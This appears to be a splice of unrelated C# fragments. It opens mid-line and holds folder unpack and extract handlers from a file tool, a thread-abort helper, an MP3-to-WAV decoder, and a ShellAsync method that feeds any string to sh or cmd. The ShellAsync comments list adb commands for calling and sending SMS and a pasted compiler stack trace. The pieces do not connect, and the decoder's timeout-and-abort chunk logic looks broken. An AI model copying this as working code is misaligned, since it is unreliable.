after ourselves! System.GC.Collect(); #endif }
private void UnpackFolder() { this.Cursor = Cursors.WaitCursor; Thread espera = new System.Threading.Thread(ThreadEspera); if (!isMono) espera.Start("S04"); sFolder folderSelected = accion.Selected_Folder(); if (!(folderSelected.name is String)) // If it's the search folder or similar folderSelected = Get_SearchedFiles(); Recursivo_UnpackFolder(folderSelected); Get_SupportedFiles(); treeSystem.BeginUpdate(); treeSystem.Nodes.Clear(); treeSystem.Nodes.Add(Create_Nodes(accion.Root)); treeSystem.Nodes[0].Expand(); treeSystem.EndUpdate(); if (!isMono) { espera.Abort(); debug.Add_Text(sb.ToString()); } sb.Length = 0; this.Cursor = Cursors.Default; }
public void AbortThread(Thread thread) { int i; lock (Threads) { for (i = 0; i < Threads.Length; i++) { if (Threads[i] == thread) break; } if (i == Threads.Length) return; Threads[i] = null; nthreads--; } try { thread.Abort("Shutdown"); } catch { } }
private void ExtractFolder() { sFolder folderSelect = accion.Selected_Folder(); if (!(folderSelect.name is String)) // If it's the search folder or similar { folderSelect = Get_SearchedFiles(); } FolderBrowserDialog o = new FolderBrowserDialog(); o.ShowNewFolderButton = true; o.Description = Tools.Helper.GetTranslation("Sistema", "S2C"); if (o.ShowDialog() == System.Windows.Forms.DialogResult.OK) { Directory.CreateDirectory(o.SelectedPath + Path.DirectorySeparatorChar + folderSelect.name); Thread espera = new System.Threading.Thread(ThreadEspera); if (!isMono) espera.Start("S03"); RecursivoExtractFolder(folderSelect, o.SelectedPath + Path.DirectorySeparatorChar + folderSelect.name); if (!isMono) espera.Abort(); } }
/// <summary> /// Decode File /// </summary> /// <param name="file"></param> /// <returns></returns> public bool DecodeFile() { try { if (!string.IsNullOrEmpty(CurrentFile)) { _chunkSize = 4096; // Set Default Chunk Size if (CurrentFile.ToLower().Contains(".mp3")) { // Check Mp3 if (System.IO.File.Exists(CurrentFile)) { // Check File Exists CurrentFileName = System.IO.Path.GetFileName(CurrentFile); using (var mp3Stream = new Mp3Sharp.Mp3Stream(CurrentFile)) { // Create Mp3 Stream _mp3Stream = mp3Stream; // Set Mp3 Stream _bytes = new byte[mp3Stream.Length]; // Set Bytes _totalBytes = mp3Stream.Length; // Set Total Bytes _numBytesToRead = _totalBytes; // Set Num Bytes to Read _numBytesRead = 0; // Set Num Bytes Read to 0 using (var writer = new WaveWriter(CurrentFile.Replace(".mp3", ".wav"))) { // Create Writer _writer = writer; // Set Writer while (_numBytesToRead > 0) { // Loop through Chunks if (_chunkSize > _numBytesToRead) { // Check Progress isn't greater than remaining bytes _chunkSize = 1; // Check a chunk at a time } var t = new Thread(ReadDecodeChunk); t.Start(); if (!t.Join(1500)) { t.Abort(); // Oops! We read 1 too many bytes! Lets stop trying, we got everything. _numBytesToRead = 0; // This should take us out of the loop soon } if (_readDecodeResult == 0) { break; } _numBytesRead += _readDecodeResult; _numBytesToRead -= _readDecodeResult; _percent = ((int)_numBytesRead * 100 / _totalBytes); if (PercentChanged != null) { PercentChanged(_percent); } } _writer = null; writer.Close(); writer.Dispose(); } _numBytesToRead = _bytes.Length; _mp3Stream = null; } } } } return true; } catch { throw; } }
public void ShellAsync(string e, Action<string> y) { #if AndroidShellAsync // http://www.android.pk/blog/general/launch-app-through-adb-shell/ // am start -a android.intent.action.MAIN -n com.android.settings/.Settings // am start tel:210-385-0098 // am start -a android.intent.action.CALL tel:245007 // am start -a android.intent.action.SENDTO "sms:5245007" -e "sms_body" "heyy" && input keyevent 22 && input keyevent 66 // am start -a android.intent.action.SENDTO -d sms:1234567890 --es sms_body ohai --ez exit_on_sent true // am start -a android.intent.action.SENDTO -d smsto:245007 --es sms_body ":*" --ez exit_on_sent true && am start -a android.intent.action.SENDTO -d sms:5245007 --es sms_body ":*" --ez exit_on_sent true && input keyevent 22 && input keyevent 66 // pm list packages // pm list packages -f //http://stackoverflow.com/questions/11201659/android-adb-shell-dumpsys-tool // am start -S -e sms_body 'your message body' \ //-e address receiver -t 'vnd.android-dir/mms-sms' \ //com.android.mms/com.android.mms.ui.ComposeMessageActivity \ //&& adb shell input keyevent 66 //am start -n com.google.android.youtube/.PlayerActivity -d http://www.youtube.com/watch?v=MTT-crZBB0k // http://stackoverflow.com/questions/7095470/android-read-send-text-messages-on-ubuntu // System.InvalidOperationException: Sequence contains more than one element //at System.Linq.Enumerable.SingleOrDefault[TSource](IEnumerable`1 source) //at jsc.Languages.Java.JavaCompiler.GetArrayEnumeratorType() in x:\jsc.internal.svn\compiler\jsc\Languages\Java\JavaCompiler.overrride.cs:line 52 //at jsc.Languages.Java.JavaCompiler.GetImportTypes(Type t, Boolean bExcludeJavaLang) in x:\jsc.internal.svn\compiler\jsc\Languages\Java\JavaCompiler.WriteImportTypes.cs:line 363 //at jsc.Languages.Java.JavaCompiler.WriteImportTypes(Type ContextType) in x:\jsc.internal.svn\compiler\jsc\Languages\Java\JavaCompiler.WriteImportTypes.cs:line 22 //at jsc.Languages.Java.JavaCompiler.CompileType(Type z) in x:\jsc.internal.svn\compiler\jsc\Languages\Java\JavaCompiler.CompileType.cs:line 43 //at jsc.Languages.CompilerJob.<>c__DisplayClass1a.<CompileJava>b__17(Type xx) in x:\jsc.internal.svn\compiler\jsc\Languages\Java\CompilerJob.cs:line 120 // IsArrayEnumerator: ScriptCoreLib.Shared.BCLImplementation.System.__SZArrayEnumerator`1, ScriptCoreLibAndroid, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null //IsArrayEnumerator: ScriptCoreLib.Shared.BCLImplementation.System.__SZArrayEnumerator`1, ScriptCoreLibJava, Version=4.1.0.0, Culture=neutral, PublicKeyToken=null try { // http://stackoverflow.com/questions/9062182/android-icmp-ping var p = new ProcessBuilder(new[] { "sh" }).redirectErrorStream(true).start(); var os = new DataOutputStream(p.getOutputStream()); //os.writeBytes(e + '\n'); os.writeBytes(e + "\n"); os.flush(); // Close the terminal os.writeBytes("exit\n"); os.flush(); // read ping replys var reader = new BufferedReader(new InputStreamReader(p.getInputStream())); string line = reader.readLine(); while (line != null) { y(line); line = reader.readLine(); } } catch (System.Exception ex) { y("AndroidShellAsync error: " + new { ex.Message }); } #elif ShellAsync try { var p = System.Diagnostics.Process.Start( new ProcessStartInfo("cmd") { //ex = {"The Process object must have the UseShellExecute property set to false in order to redirect IO streams."} UseShellExecute = false, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true } ); y("pid: " + p.Id); y(""); //ex = {"Timeouts are not supported on this stream."} //p.StandardOutput.BaseStream.ReadTimeout = 4000; //p.StandardError.BaseStream.ReadTimeout = 4000; var StandardOutput = ""; var StandardError = ""; p.StandardInput.WriteLine(e); p.StandardInput.WriteLine("exit"); var ww = new AutoResetEvent(false); #region timeout var rr = new System.Threading.Thread( delegate() { StandardOutput = p.StandardOutput.ReadToEnd(); StandardError = p.StandardError.ReadToEnd(); ww.Set(); } ); rr.Start(); #endregion #region timeout new System.Threading.Thread( delegate() { System.Threading.Thread.Sleep(5000); if (rr.IsAlive) { rr.Abort(); } ww.Set(); //ex = {"Process must exit before requested information can be determined."} if (p.HasExited) return; p.Kill(); } ).Start(); #endregion System.Threading.Thread.Yield(); ww.WaitOne(); y(StandardOutput); y(StandardError); y(""); y("exit: " + p.ExitCode); } catch (System.Exception ex) { Debugger.Break(); } finally { y = null; } #else y("ShellAsync not implemented."); #endif }